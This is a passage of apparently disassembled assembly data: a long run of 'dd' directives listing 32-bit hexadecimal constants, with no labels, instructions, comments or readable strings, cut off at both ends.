1CC9D6E2h, 0BAA8F20h, 0B822606Fh dd 2578134Eh, 7450709h, 53E04E05h, 0D8B9E9AAh, 0A7EEB1C3h dd 0D94E8324h, 13726FD2h, 6F78EA92h, 718028E9h, 3D0BFC1Ah dd 41902D36h, 0A1044A1Ah, 0C5E8EFD1h, 6FA8BA80h, 81974A8Bh dd 5DEB09F3h, 1637230h, 19441A1h, 0D2E4E9CBh, 349CE7D5h dd 612DAB0Ch, 12846738h, 0D0A81255h, 28F8EA0Bh, 36422576h dd 645F07FEh, 7F74E130h, 8CBA8875h, 0AC5D68CDh, 6B499EF9h dd 403B51E5h, 1C685A54h, 0A2300A4Bh, 0BD55B8h, 14F7816Dh dd 0E911D356h, 181BD927h, 805FC5F2h, 5A045952h, 0C1314891h dd 2080C86h, 0B12E181h, 244001C9h, 0CE7562D0h, 5AB5E9F8h dd 0D591A2DCh, 1985E84Ah, 0F625BFA1h, 0B5E07C1Fh, 0F828D001h dd 45BEC2Ch, 7F5E217Fh, 6AA9412h, 0F154737Ch, 2C2902B7h dd 4D04143h, 44D77CD2h, 8F32BA54h, 86204155h, 0EBEA8004h dd 429813EDh, 899534F8h, 0C15E82BCh, 0FB5D05BEh, 925A6DD8h dd 0DDF73BACh, 25C49B94h, 5706F600h, 0F1315F71h, 25E52FCh dd 0D83BCFD9h, 6D2456A3h, 0EE067B3Ah, 0F2424E05h, 0B0495ED3h dd 0DB975EBFh, 5E0228C8h, 139FE3B4h, 33915DE4h, 7C3C563Bh dd 0BC7551CBh, 0E2379891h, 89B272Ch, 337DD662h, 20323865h dd 65A12125h, 2E2EF368h, 0F63B8999h, 0E0B64A5Dh, 4E7E0A48h dd 4A2FA750h, 0B597AAD8h, 9351900Bh, 0E2E956E3h, 8624FF7Ch dd 765D0908h, 9EDA25A8h, 0F1B3A325h, 535B92D6h, 0C2D1C153h dd 124A7213h, 38EE5939h, 0DB40712Ch, 0F5214A59h, 50AAEDFEh dd 80C281F8h, 17897B18h, 2D721FF6h, 787465C4h, 13ED840Ah dd 0B1215D25h, 0FD2016EAh, 1C26B402h, 20EE0814h, 0F47D9A7Dh dd 4A83BA2Dh, 3E3DE087h, 5F77A318h, 835ED46h, 0DA01584Ah dd 6C970820h, 2A0F863h, 68C7E9B9h, 565951C3h, 1FBF5B13h dd 0BA6D8946h, 0A265B17Eh, 0E9E69C5Fh, 0B505FE25h, 69CAF59h dd 0D5B9524Ch, 0FC3B6301h, 30D6295Fh, 3109FEBDh, 0F9407F3Dh dd 5A368A87h, 3151A5A9h, 0CBD536E5h, 0BF574603h, 0CCCCD36Ah dd 915A5ACAh, 2897BD7Fh, 651E9229h, 4EC4BB92h, 9754F3AAh dd 256135AAh, 9574BA79h, 0E5D46BA6h, 2220FE27h, 622B177Fh dd 0BF2F2498h, 8F719EFh, 0F155C225h, 0E9B1FEADh, 99A68CFh dd 7D5BA568h, 0F8F668B2h, 79A63C1Dh, 0FA62F712h, 297372D1h dd 0BEF20D86h, 0C641C8ADh, 1E42DA4Fh, 510024DDh, 278FE017h dd 9313B4Ah, 0CE2B17A4h, 0FBAC5FACh, 0EC60263Ah, 95B831BDh dd 0E4F0C25Eh, 2B5C62E9h, 55DC389h, 0F2AC5800h, 0DC817C2Fh dd 0E06404ACh, 0AB955F6h, 1A486884h, 7BC0C2BCh, 0BD464A23h dd 0AC425EAh, 0A2BC4FE9h, 3ABF2D3Eh, 120D6E00h, 354BDE5Ch dd 0E74F080Fh, 93DAE002h, 2DE94919h, 0EFD65221h, 0D26ECE71h dd 1FCBD218h, 22B2EDD1h, 1631487Ch, 8E4315AFh, 0D94CD068h dd 0B02B5A4Fh, 0B5985020h, 66393C92h, 0F6F05EADh, 4F4262C8h dd 0C90B7F47h, 37255A98h, 7CDF0FECh, 0F51C7C2Fh, 0F0AADF6h dd 5DBC222Fh, 0F380D9AFh, 277246BBh, 0AD9FFE90h, 523F0C92h dd 0E904079Eh, 0D30F955h, 0B0B7A444h, 4EFD2965h, 0F3CB465Fh dd 0F23C63B8h, 545AADE7h, 4F89024Bh, 8F605F25h, 0B881DCB4h dd 0D0A7222Bh, 25AAC65Dh, 4D0288E9h, 0B733C8Bh, 0DD37E941h dd 0DB41222Ah, 34E58100h, 62E63D07h, 0ED00D53Ch, 0CD979FF9h dd 1A97EB89h, 0E92B8359h, 8DBEE49Ch, 0EBD1E7F7h, 64149673h dd 0C302F309h, 328EB97h, 0AAC7819Bh, 0C0C5C05Eh, 278E5C67h dd 0DF84F54Ah, 942B74EEh, 5A95E703h, 0D65A9382h, 9E55D28Ah dd 15C4B7C1h, 13502320h dd 0F427A468h, 6F995F2Dh, 0B340F14Dh, 0BD49424Bh, 47F54380h dd 4C582B59h, 93E43D08h, 0F7B94DF0h, 0F2E90840h, 752FB794h dd 39063E8Ch, 0F2F2DBE1h, 0C2019868h, 7E952190h, 420026C9h dd 1877807Bh, 8669227Ah, 0AD277995h, 0E9522E80h, 55D3BF33h dd 0E4865C04h, 58A4590Fh, 0F8849393h, 45981EE9h, 9CE28126h dd 0C2FB974Fh, 0C40B52FBh, 7FD0FA74h, 0B70B3630h, 0E402CBD8h dd 0E93BCD69h, 0D3286B53h, 32BEEC5Fh, 7A2C4040h, 87ACB4DCh dd 29272BD2h, 80B4DC0Fh, 0D0E6C58Eh, 0FE480FD7h, 0FFD5F5Fh dd 0ADBA81E5h, 4F5F367Dh, 55565CF9h, 346C2917h, 0ACE6C271h dd 0FCAC5805h, 68CBF201h, 0FD420A0Eh, 1E12C772h, 7104015Eh dd 6E1BE296h, 64874FB2h, 222392D8h, 296FF88h, 0E3C1042Fh dd 0A8DBAFC1h, 0C40B050Bh, 607D07FEh, 83C03C24h, 1AF61A05h dd 9C82E0EFh, 559302E5h, 2492ED1h, 84628281h, 0C4FBEF3Dh dd 483287A0h, 0ACA2BD13h, 4EF95B10h, 4318FF35h, 482858BBh dd 441242D3h, 8F50E05Ah, 9BE928C3h, 4B245C4Eh, 0CA54FBF4h dd 0AC8B4F3Eh, 7D33CC09h, 0F229C089h, 0C18A5B96h, 0E979B9DCh dd 5FD9C8FEh, 1C6F2D21h, 130DCCA2h, 6BB89BFCh, 0EF8477E1h dd 0EB50A43Dh, 0CF77BB0Fh, 0D24B6447h, 44C57592h, 823D24A6h dd 90F752EDh, 9648E999h, 0CEEB2E6Dh, 0BCDE3F98h, 2045C69Fh dd 679DA4AAh, 939B5E3h, 202BA31Ah, 0D56BE971h, 0B54FB816h dd 505D6DC1h, 3B858C8h, 0C1CC9474h, 0DED83105h, 0E8480108h dd 6F084105h, 1CBE331Fh, 4A3A81F8h, 53A20BFDh, 5F2F32FDh dd 2431C7E9h, 30E35D93h, 6880B2D6h, 0DB5714A0h, 0BD45CF16h dd 7477866Eh, 63495EF4h, 32250241h, 75C128FAh, 605D982h dd 54C5B379h, 0F5FBA21h, 0F3801884h, 709C1D2h, 3FC404E5h dd 27850982h, 0A36CE2F9h, 2C4BC57Dh, 61D913ECh, 6D563693h dd 63251259h, 0DDC634FCh, 95206855h, 0B35315F5h, 0C10B64AAh dd 4B0105EFh, 89AC3BC8h, 454F23CAh, 6AC6C91Ch, 5BC3E89Fh dd 405C816Dh, 325A25D9h, 62243C5Ch, 7F213E0Dh, 9F616D12h dd 85E7BA68h, 115C02A7h, 0C3CB0ABFh, 0BEE42708h, 5594CF96h dd 15ED4B9Eh, 3181F900h, 0E62BC473h, 2D2F5951h, 51B610E3h dd 2F8552Eh, 5D27EB2Bh, 0A2751AD5h, 7C9A49BCh, 462360F6h dd 7FB074C1h, 8A4A1B90h, 0E9386B83h, 78606CFDh, 0D3724012h dd 3A08E05Eh, 0CF898401h, 245BB659h, 35811366h, 7DAB7A9Ah dd 0B7AACBE8h, 0FD69BA3h, 0C7291C88h, 8858E2FBh, 0E05F7495h dd 0EB685958h, 96CC745Fh, 0B3114B95h, 0ECD84AA4h, 80C14098h dd 7EFCEA6Eh, 0D3D96E8Bh, 41A5BDDDh, 2A5D5341h, 0E9C668A2h dd 522E4B15h, 370BFE88h, 0E91A7675h, 46935D6h, 0FE1294E8h dd 6EF6F812h, 2FB4417Eh, 0F22AC4B1h, 904D3B3h, 0C716D35Bh dd 3E483D11h, 418ED82Ch, 0BFC50084h, 0EC4F080Eh, 0F42F58E8h dd 77813800h, 53121720h, 0CBD050Ah, 0FE5B3914h, 0C2CB00D6h dd 0BD0C8F10h, 70EF4201h, 0F81BE9F3h, 583D2A2Ah, 71A62D37h dd 2C9181E5h, 6C4B03C5h, 0FE6817FFh, 0E5EDC221h, 0B2AD773Ah dd 665DFD16h, 1DC449E4h, 4296617h, 0AC763A6h, 0A109C9B5h dd 9F45C45Ah, 18BD93F0h, 97F010E3h, 0E98976CDh, 2945E16Fh dd 4C5A1C9Eh, 0B912EE44h, 7B73DB02h, 60E1C166h, 1402C917h dd 0F3641B5Bh, 8553A505h, 4984BE9Bh, 0BDEC42FBh, 0D543FA27h dd 2F56EFADh, 13905EBAh, 0BF74BEAEh, 5CD82082h, 0E1A4082Bh dd 2073B205h, 804680EFh, 0E6FD0FC1h, 283D6350h, 97ED12D5h dd 5A7D9CBCh, 0F692071Fh, 0CD00D9D1h, 0C059CE88h, 7D07E626h dd 0BD0EC913h, 5BDE05C8h, 2008D4A0h, 0EC1152Ch, 22EE80E3h dd 0EC25E6CCh, 0CA264F6h, 0FE370B32h, 3B208B9h, 535A5B05h dd 2CF29DEEh, 0E8815FC6h, 606BF530h, 1C580F9h, 527250F4h dd 87B55118h, 25E9ECC8h, 4966AD5Ch, 0CF36310Bh, 693ADE65h dd 6378D90Bh, 6060566h, 0C74E011Eh, 0C2E98E6Ah, 0F58D6F82h dd 1059B32Eh, 56024A22h, 0ED6779BEh, 3B203541h, 5BF67713h dd 6603D31Ch, 0B6952F0Ch, 9E272B2Bh, 5DE927F5h, 4014C05h dd 8A49DA48h, 715D2504h, 0E3E989A2h, 0F5518429h, 0C16B5C51h dd 24E7ABADh, 69621DA8h, 1FA6447h, 20FCC980h, 0FE736326h dd 2F9F90FAh, 0E01E4F2Fh, 0CB093FC7h, 9ADAB559h, 0E3DEF109h dd 8A69416Ah, 99BA3180h, 81173614h, 1CACCA07h, 0F2604132h dd 0B745BB4h, 833CE9ADh, 0EA52DF7Eh, 0E7F157F7h, 1E25584Ah dd 0C86813E5h, 0F582E866h, 0D3894A5h, 6A7680Ah, 2BABA50Dh dd 16B9157Dh, 26FDF127h, 48497BFDh, 54052D41h, 42CAA6A4h dd 8776752Eh, 7934624Ah, 448EDC2h, 5EC2EDBEh, 22C72EB1h dd 0E9130274h, 96358ECEh, 0FA548CB4h, 0B3B24FBDh, 0C12979A3h dd 7C66A948h, 0D9D0BFA8h, 5C31F04Ah, 6C164DF8h, 1B1FBA78h dd 0FE4A95B2h, 6CB259Dh, 0B5A32Ah, 275D0803h, 0CEF4EE81h dd 5201DF2Eh, 89337625h, 9242C0E9h, 420B94F7h, 0AECD6D7h dd 409E12A4h, 23E4B824h, 60FB0BCFh, 4D5ECDFCh, 0CF50E7A7h dd 526F1E22h, 8D9533Bh, 0B30E6078h, 0A197EB23h, 0D830AC8Eh dd 0BD55C324h, 2B8A5E33h, 0EFC7685Dh, 1A651FF9h, 4BAD0A2Eh dd 384B250Bh, 4456C7B2h, 50B5924Fh, 0BC89C205h, 0AA5D122Eh dd 5D1CA686h, 5B2D1D3Bh, 69687ED6h, 0AC0F77A8h, 6422FB45h dd 0A8ECFE42h, 0D303F681h, 0A4D83F15h, 0A8CF5A32h, 0DD00E4E2h dd 45092C7Dh, 62E820E9h, 5B44BD07h, 56A26613h, 0E1D1A3A0h dd 5E51C257h, 9E542721h, 9D24E159h, 0E85D4F58h, 0F4BDFEBh dd 28F207h, 55FE4D11h, 0BED273BFh, 0AA8344E3h, 0F21D2261h dd 0E1EDD781h, 0EC51D5E8h, 4B9A87EEh, 57072EFEh, 454D5D35h dd 48603082h, 9781BF3Fh, 8A7FF492h, 72497EB0h, 474020CFh dd 0A09F3362h, 49ACF403h, 4CF1CA55h, 2A96B7AAh, 20A1CCB7h dd 49EEA46Dh, 0E9A978B7h, 0B658C32Fh, 8CE9F8C0h, 0E39D7464h dd 0F11887AAh, 1562B873h, 58DD5001h, 73D37B3h, 6FACCB01h dd 2E432C73h, 0DF25AFF6h, 0A92884FEh, 0BC836209h, 5BB086A4h dd 3E916F7h, 817AA4DFh, 0BD8DBF4Eh, 0E92B0F21h, 7C73801Dh dd 16C149D1h, 449707E8h, 165EB406h, 0F65209AAh, 88F106E0h dd 0C74ADD7Fh, 2CACD602h, 0AFC97991h, 810317CCh, 9367DEC6h dd 0A1C4861h, 0C830841h, 4F894473h, 4B8355Bh, 0F9F65CF0h dd 874DE916h, 9AAA7B34h, 829625AEh, 775E54A5h, 0E99DFCE7h dd 0F0B4E3D7h, 5C68B006h, 5EC0F547h, 73226853h, 0E9F0DBB5h dd 77A3C2CEh, 13726480h, 0F74F4971h, 0B03B6C3h, 0FEA9E915h dd 253CA559h, 0DC1FC8DEh, 80E10386h, 0CF881BF1h, 0F2504FF2h dd 0D8F7282Eh, 0C003F817h, 0A572FB68h, 0C0291AF4h, 1102D7Fh dd 7F9422A4h, 2896561Fh, 525C4C45h, 0E93B32CEh, 9406ED4Fh dd 0F63B10F9h, 0B8D86654h, 0F98839B9h, 0DFEC827h, 8020B240h dd 63C65C2h, 0B0CFC14Ch, 0E9D0C326h, 20955205h, 0AA156735h dd 0FD088263h, 0E15A1408h, 71046A3Ch, 84F5014Ch, 0C7081AFFh dd 12AAA284h, 0FB8874EAh, 5B537473h, 2D0229EBh, 6F808527h dd 0CA01C135h, 7B4723CFh, 82B96620h, 43D1AF5h, 874601F1h dd 1720945Fh, 1C587F4Eh, 0D82753F6h, 5B92DC32h, 0CA4FE130h dd 659B56C0h, 9C5DB77h, 187D5E08h, 5FCAE9ECh, 0C81C404Ch dd 684F2B75h, 104E7DE3h, 114C336h, 0BD4AA8EEh, 595D25BFh dd 0B05B172Eh, 0F52580ABh dd 1CEE02F6h, 8EBE00D0h, 394C9F3Dh, 7B057628h, 0E7D11318h dd 0C1A45282h, 0FE21485Eh, 0F4C44D31h, 292005F6h, 0EC22E9FEh dd 4A7980C0h, 0F858713Bh, 38EFBE89h, 0E87CDD30h, 0B5045159h dd 2E5C075h, 526BC8FBh, 655BE498h, 0C580CAF2h, 31D55133h dd 0A4E94D17h, 11F061A5h, 48AB3D6Dh, 6F00D9AFh, 1018A9B9h dd 20F27448h, 5BBB0FC9h, 4B4A596Fh, 0BA6C319Eh, 6DC27B0Bh dd 0D29ADF1Ah, 6F747FA9h, 892774CBh, 90616FE9h, 0B9F9D8ADh dd 0FE498EBEh, 0A3D77A4Fh, 1E58A064h, 5241648Dh, 67180119h dd 602B106Eh, 98B67EB1h, 4942F3DAh, 5B58977h, 68F64C44h dd 18F5089h, 203F453h, 0C0E08B95h, 7063C646h, 0A84D5B2Eh dd 0F58102A3h, 0C0A91280h, 14B9CD6Ch, 0BA3B3155h, 0F3A26905h dd 3C55AC10h, 0B025FE9h, 0C23D2C58h, 3A5CF492h, 4430257Eh dd 50531910h, 36166817h, 1D88ED88h, 245251D7h, 8B110823h dd 3C2BF627h, 28E07712h, 32950108h, 8058D01Eh, 2C2691A7h dd 0AF5E28D5h, 6093C344h, 27492DBEh, 0B1D3530Ah, 0F76503F5h dd 2961477Fh, 23B8CFB0h, 18CF5E79h, 65F18460h, 0E917B3A8h dd 3FD8A445h, 61E3115Ah, 0C7575DC9h, 0AA292561h, 0CAECEF10h dd 0B7EEBD80h, 681238D8h, 16E35486h, 7BB60279h, 1FE96ABCh dd 65E431F4h, 2D1C8380h, 0AE76125Ah, 0A431FE26h, 0C06FC129h dd 44E955F0h, 6590614Eh, 28797CE3h, 3BA14EA6h, 228595A4h dd 0ABB9C0E9h, 0B2512323h, 0F61CFD74h, 0DAAFE912h, 95BB5E25h dd 8C2B00C2h, 0E907061Fh, 99D7CF25h, 77F2501Dh, 6827C9EEh dd 0BC84D96Eh, 81292D14h, 480EE9C2h, 3D505C7Eh, 350D8003h dd 72371000h, 6992A805h, 0A661B7A4h, 6A8EEDE9h, 75E5F38Dh dd 291D512Ch, 8059FFFAh, 42104248h, 0FD5B0562h, 37F20A68h dd 0AA71E985h, 3C778945h, 108421AAh, 814A0043h, 0FEEF09EAh dd 17EE69Dh, 5A2BE941h, 7ECC8E7Ah, 76618527h, 5369EFE4h dd 0C3DD2062h, 0B10DC012h, 293B2CD6h, 0E24608FEh, 0FF570F27h dd 6E4B6792h, 88E14554h, 0F42FBB63h, 21C1048Eh, 10C8728h dd 2BFD04D8h, 0B6770B88h, 0C8D83CBEh, 905A7E7Ch, 5F0527F8h dd 0EA5B1C1Bh, 5F897BA4h, 0E94E2CD3h, 0F9837330h, 2D7DF1CAh dd 0AD5E7BA1h, 0EE045F28h, 485EF012h, 0CD495B85h, 3C280072h dd 0EC2FB417h, 66DC0FF1h, 0E16641E3h, 0DA011207h, 0E9F63244h dd 6192EBA5h, 500405EDh, 0CFFCE048h, 0A5F7B54Eh, 678F444Bh dd 0D00113C5h, 2B153BC7h, 5870E2EBh, 80609FA9h, 0C7F4D731h dd 0BF149F60h, 5E06360Fh, 24B3863Bh, 0B078282h, 4A21BE9h dd 0C7E335B7h, 83F4FBC9h, 81C3803Ch, 0EB579F28h, 168A105Ch dd 0BCA6BEE9h, 0A7A337h, 0FEAF2C9Fh, 0C9134C8h, 6601D7Dh dd 0C026B231h, 800409EAh, 9976D9E2h, 27A0471Dh, 0D46C215Ch dd 24FADB97h, 4AB372Ah, 0E941AB5Bh, 0EA127DBh, 4162B53Ah dd 2C63F8Ah, 5144DD59h, 0BE5B1FCAh, 39FD4017h, 0BB0D8285h dd 16B66E78h, 0E692B4Dh, 34C21EC8h, 82D7C178h, 0EC8FA8Fh dd 5C5BB1BEh, 34E20731h, 57D549D6h, 977191DCh, 514192F9h dd 0A2CE8468h, 71A9FDA3h, 9F1CB72h, 68F889C9h, 8161A0ADh dd 8FDFEAF7h, 954A46F4h, 0DC89B514h, 0EC27DCEDh, 82D8E24Ah dd 511761F1h, 947EA0A1h, 124B82E3h, 1019F9AAh, 0C404123Fh dd 922CCE0Eh, 0DB1722EDh, 495D0588h, 8802A957h, 0ED808508h dd 9EB4C29Fh, 0E204BAEAh, 2D3407D3h, 0F492C5A7h, 0BDBE5267h dd 0FDB0D252h, 0E24C111Ch, 150383ACh, 0B02D6442h, 2D4540E7h dd 8DA07F30h, 967C04F7h, 0B7C4644Bh, 30C11484h, 0BC04513Ah dd 0C7941234h, 40F16E2Ch, 15B0ADB3h, 0AE47070Fh, 5E2E8411h dd 96207612h, 771D3103h, 51FB2979h, 89CAA56Ch, 0BD2A840Bh dd 0FE81E9A8h, 6E336E48h, 0A411CB3h, 2B382D2Bh, 12F8CACh dd 0D25BBD7Ch, 0BE2266BAh, 0E23D897Dh, 8272C25Ch, 0F6BF69Ah dd 0FE9CD2Eh, 0B2A01FAFh, 1C280CAh, 0C2DAF62Dh, 939041A1h dd 0CA77C312h, 0D907FDFh, 44655FE9h, 0CABBC721h, 98B74B71h dd 0FD870F13h, 0F4F08449h, 6334BA12h, 0B686644h, 0F75E0FF8h dd 94E94BF1h, 2079FC15h, 8A681579h, 4617E66Ch, 8033F36Fh dd 1D864FBFh, 0CF829FDBh, 57CBEDD8h, 64C02A3h, 0F037135Ah dd 5CC903EDh, 8A75A2ECh, 2091F482h, 0DA65956Ch, 6805D02Ch dd 67547D2Bh, 4EE1250Eh, 54C0B5C5h, 5C818ED9h, 6DF57D40h dd 25560320h, 667C7E78h, 0CF4122A8h, 2B2D4C02h, 0D8F0D9E0h dd 0B5FCEC26h, 34A2C51Bh, 1550FDD6h, 2B64813Eh, 7EA47697h dd 902140F0h, 0A3D0813Dh, 0EF976E72h, 5D091F02h, 0DAE28250h dd 0ECA50E67h, 0B963AE3Dh, 811349E3h, 0F667A84Fh, 0B0ECD8A1h dd 6E16EABDh, 95160982h, 4F5173A0h, 5D712243h, 0C2C0BEDEh dd 973DAEE9h, 0F83097ECh, 0B9F2BDA2h, 11DB0028h, 355AD031h dd 2A12F350h, 24148958h, 5221046Fh, 82FE367Eh, 88FEB19h dd 0C713A872h, 0DA25C388h, 13A0D967h, 9F9ED1E9h, 0DD9302F9h dd 615AF05Fh, 8D42759Bh, 2A1A1C7Dh, 5CA32AE9h, 218FD21h dd 8DF6BDABh, 183551Eh, 0E1E168D2h, 0FCA59665h, 259AAC66h dd 0BDE5E917h, 0B74CFAA2h, 1CBE4D5Eh, 0A6E4BB8Bh, 5D960540h dd 9D13458Bh, 1AE373E0h, 82C237C5h, 225FEA52h, 5C33B6h dd 0C780A1B7h, 0F81F254Fh, 35A12652h, 7B3CF56Eh, 6257D72Ch dd 0E6C125B5h, 827BC600h, 52FB07C0h, 24395DBAh, 0FB0BAE03h dd 82505829h, 29C8620Bh, 77DA099Eh, 44810B22h, 0C0613C00h dd 6C292F0Dh, 0CA01371h, 0E627E912h, 0CC09709Dh, 208B43Ah dd 0BE827641h, 3ADCA1B1h, 0F8CBA4F5h, 0D85B0C04h, 17147ADDh dd 0E175A3h, 67993219h, 2768EED1h, 22C6796Bh, 4EAE08E1h dd 8872A271h, 0B2E98401h, 718CFE42h, 0B001F3DBh, 3DB76EA1h dd 0B3498318h, 0A77795EAh, 0D6894C17h, 0BE9013F9h, 1C4E2967h dd 7B1777ACh, 12BA56BEh, 0B41FECDAh, 0B3146BFDh, 0B881BB88h dd 7E4A4023h, 41684502h, 5772904Fh, 5AEC09F6h, 355E2DE9h dd 0CEBF6612h, 25683DFDh, 0E4714671h, 5C213039h, 8A40318Eh dd 520C2648h, 31854B48h, 4B028583h, 0E3458006h, 70F30AADh dd 0FA406DC9h, 1CBB0FBEh, 54B371Eh, 3B90E890h, 0BFEFC695h dd 0F1AF755Bh, 40D46465h, 0E888F7B5h, 80595E66h, 0EFB45019h dd 81C660E1h, 9BA9A40h, 9C6326CCh, 609A2DD8h, 0CFF4CEFFh dd 0B405E95Bh, 34625FC0h, 219F41E9h, 58717D9h, 6CED9F81h dd 9BF65C02h, 0BC2E9903h, 0E521E92Bh, 482EB63Ah, 683205DBh dd 49923577h, 2CB8E129h, 0EE250B32h, 8455F778h, 325DE538h dd 0CAD83C01h, 0E4E021BBh, 0A2932F6Ah, 7748C2F1h, 3664268Bh dd 0A2F22928h, 98C97194h, 17A59E91h, 0A8316EA0h, 97C284A8h dd 0A24C8F10h, 29334D04h, 0BB3480CBh, 18240F17h, 4208CBD1h dd 0A4BF126Dh, 304C2D24h, 0CC3A2411h, 4F070514h, 807BFFACh dd 55544A68h, 0AA5B7DE3h, 23BF9975h, 3302843Dh, 6658C288h dd 0D58CE05Bh, 2867162Ch, 8F11B9F8h, 94FC73B3h, 0DAFE582Fh dd 7A680551h, 0C2523193h, 520405FDh, 0C2E7A709h, 3216532Ah dd 6FC1E34Fh, 62B0D42Bh, 0BB005C91h, 58AA226Bh, 88209B40h dd 7CCD5E4Eh, 0C5F6442Eh, 0FB0F16E0h, 0CC3205B1h, 3ED659FBh dd 8BFF8B05h, 5ABFDE14h, 84419DEEh, 5EBB4344h, 0F1D6D3DFh dd 2F34F553h, 68C2EDE2h, 2AAF28C9h, 0AF1AFE05h, 0D6BBF031h dd 39BD5207h, 0DFECA5FDh dd 5EE33B81h, 7D00DB07h, 0EE29D76Ch, 9F54CDF8h, 1B5B3B95h dd 0B5016DD8h, 0B9CF3910h, 0E5D53180h, 0BCDCC03Eh, 45482336h dd 2EA558D4h, 52CA2B73h, 10557743h, 0DB078663h, 5E612CC0h dd 1F7E108Bh, 2049D830h, 89DDD942h, 4D55EE19h, 42F324EDh dd 0B800878Ah, 17745C9h, 4E1F357Dh, 20406D5Bh, 4C021CEBh dd 24E91915h, 6C477DAh, 5264B7A4h, 9ABF3698h, 0CE90A08h dd 8240E047h, 246774Ah, 71ABE56h, 0CAC3662Ah, 0D5110CB0h dd 0EF3092Ch, 0C5FCC30Eh, 0C88008A9h, 50867ADEh, 0CE78C061h dd 5CE0C7DBh, 7568106Fh, 0DBF3334Bh, 0C6357F04h, 51B8A015h dd 1E37B900h, 0CD0907A8h, 0B62F2AE9h, 4C717FB2h, 1034866Eh dd 0BEB785E1h, 9CA220C7h, 9499D5FEh, 83BD2F52h, 22D78D4h dd 114678Eh, 6A3BC0AAh, 3A3F0617h, 5B1816E1h, 15F7102Bh dd 5E0E08C4h, 204A5706h, 8EB4931h, 188C11CAh, 15083F26h dd 41606140h, 88DAFD3Ch, 0C53C128h, 1A10CEF1h, 29088A63h dd 0B4181047h, 31DD18E2h, 80BCAF10h, 8C825C04h, 40BA0820h dd 0A463D56Fh, 1B649120h, 18259608h, 83F1FEBh, 0D7816454h dd 5111F11Fh, 1F088830h, 78830868h, 28923138h, 0F4017DBAh dd 0EEFC0120h, 94ED188Ch, 8CE90A08h, 8511018h, 0A1646C81h dd 0BA402DC9h, 0D83840E0h, 0D908296Fh, 84519E71h, 9998A85Dh dd 60FE087Bh, 1558C1C8h, 0B710A080h, 0C0611855h, 80D23B08h dd 148059C1h, 3428C67Ch, 2131082Dh, 758C1868h, 0E9CF0888h dd 3FFB2B08h, 6DC7D162h, 0DC4A8D05h, 408C84E8h, 0C44CC176h dd 6AC0C08h, 202005B3h, 11B0ED5Ah, 4F6610C4h, 0E8B1430Ch dd 9F840E54h, 0D1988E81h, 6BA3E9A6h, 8CC908C5h, 3D0DC048h dd 2E2065A0h, 21C02039h, 0F1B0FE54h, 0D420EA63h, 190812B8h dd 19385867h, 589286A9h, 0C8E3F48Bh, 0D5071818h, 81F43008h dd 2018EF41h, 2C08373Ch, 24188107h, 7963AD28h, 18014810h dd 18F3B608h, 7A801A84h, 72DA8036h, 2A407492h, 99CA40A8h dd 9008D863h, 0AD182418h, 7A118C24h, 6A635508h, 3199CC20h dd 8BB91308h, 41899809h, 8040BC08h, 4C8028EDh, 5930C6E8h dd 7A2008F1h, 798962A7h, 0BD05B469h, 0E658C85Fh, 80C5EB08h dd 48C435A6h, 0E909C392h, 0E1A2A826h, 2A184D49h, 0DB32948Bh dd 49560886h, 66C32964h, 31ABF191h, 3182E720h, 0B018126Bh dd 3A8701EDh, 668D1088h, 0C3FEF08h, 0D9088F76h, 2018D062h dd 2DA40243h, 0FBDF202h, 30C9708h, 4055109Bh, 0FC407796h dd 54889252h, 4020C4FAh, 5F40D739h, 1045648Eh, 2760D1AAh dd 0E6188C80h, 9A5F08AEh, 0C8A55418h, 0B6A8A80Eh, 0E918C57Eh dd 84C85170h, 1834E310h, 0E2106168h, 9C60807Ch, 0A4E8FC26h dd 0EF815F40h, 0A74854E5h, 0FDC8F1C7h, 473B8045h, 2752C03h dd 1B8913EBh, 3DA7B90Eh, 440105D0h, 49408F00h, 0F775C90Bh dd 0E3F7B08Bh, 5B03DED0h, 338F21F0h, 0B10FE0C0h, 2C304F30h dd 4BFCE9ACh, 0FBC4B49Eh, 0D817CE2Eh, 125EE04h, 0FDC263AEh dd 81187EE1h, 6CB2CE2Fh, 0EED84053h, 0E0051BD6h, 69A00C48h dd 0E2B5091Bh, 0B5145F9Dh, 4F21E91Fh, 0F883EEE5h, 0B90D7C44h dd 32B4031Fh, 7FE1E288h, 0C5778006h, 67704460h, 28949F5Bh dd 0B46BB9B0h, 78AD010h, 163A31E5h, 4B9DD330h, 0F0005C79h dd 10BD555Eh, 0FC663B1Dh, 36D06B1Eh, 5A7359D4h, 0C2F4F3B4h dd 772B6853h, 0CCF155C6h, 3A5E9365h, 5A208F91h, 8FB6B22Bh dd 14F273D3h, 0CDFF3716h, 64886F26h, 4C2DFB2Ah, 9C16FE93h dd 0CF7E4EA1h, 86E64E91h, 13C9909h, 961A75h, 7FFFEB9Fh dd 9A696190h, 0D9EF2F10h, 0F5BA0429h, 0F3E10067h, 143E593Ch dd 876F1751h, 0B5C642A8h, 79C25C13h, 0E86DF568h, 0B7820ECBh dd 394CABD9h, 94097368h, 5621623Eh, 0B468465Dh, 0EBC44F55h dd 0BC31AA50h, 4F250BB2h, 0EC43A2F4h, 7D01B578h, 2A593863h dd 80640B5h, 5E14811Ch, 0E4CDAC3Ah, 10EAA2ABh, 3950FE6Fh dd 0FA3718E8h, 318A0C73h, 0E94A7406h, 84384Eh, 0C853D105h dd 2EE22D1Dh, 0B9B5BB4Bh, 11CA0707h, 0ADC25A1Eh, 0D56FFB08h dd 9BF45562h, 27417989h, 3F10F62Eh, 7F74AE6h, 0A4B850DEh dd 0BFB3549Ah, 0C5EF5A84h, 0B582AF5Ch, 5B70F401h, 7AFF36F1h dd 69F8CB9Ch, 0ABDB0ADAh, 0EB53580Ah, 14B9E08h, 0D31FDA68h dd 3A2C2B05h, 58D69751h, 65AAE9D0h, 5C3C76Ah, 0AB65D8F0h dd 8099294h, 7F0CCA5Ah, 402C7BC7h, 27FF1717h, 0BBD8846Ah dd 0F3489CB1h, 3F3D9CA0h, 310B9B31h, 2404BFC8h, 5DA5B706h dd 485574A9h, 1210F34Ch, 0EA09020Ah, 266882CCh, 0C224235Dh dd 4F4626ABh, 97275779h, 0C2AFDC3Dh, 7C5BDD15h, 2A6EE5A0h dd 3412537Ah, 0BED817FBh, 5F614238h, 9535F35Eh, 0C7B04248h dd 0D509A5A1h, 6809B8CFh, 0C498D59Dh, 0D32E954h, 5CC19745h dd 7C601F02h, 0AE8F44CFh, 8FEB8CE7h, 0ECE26EF7h, 1FCE4C4h dd 0EDD047B5h, 0C0FA98E4h, 113CC6C5h, 589D7CEBh, 684E0B6Ah dd 86467EBCh, 0DC77C000h, 3E1C15Fh, 1D22E681h, 81499743h dd 4455B5C9h, 487A202Dh, 5C12D4E8h, 5E1AC121h, 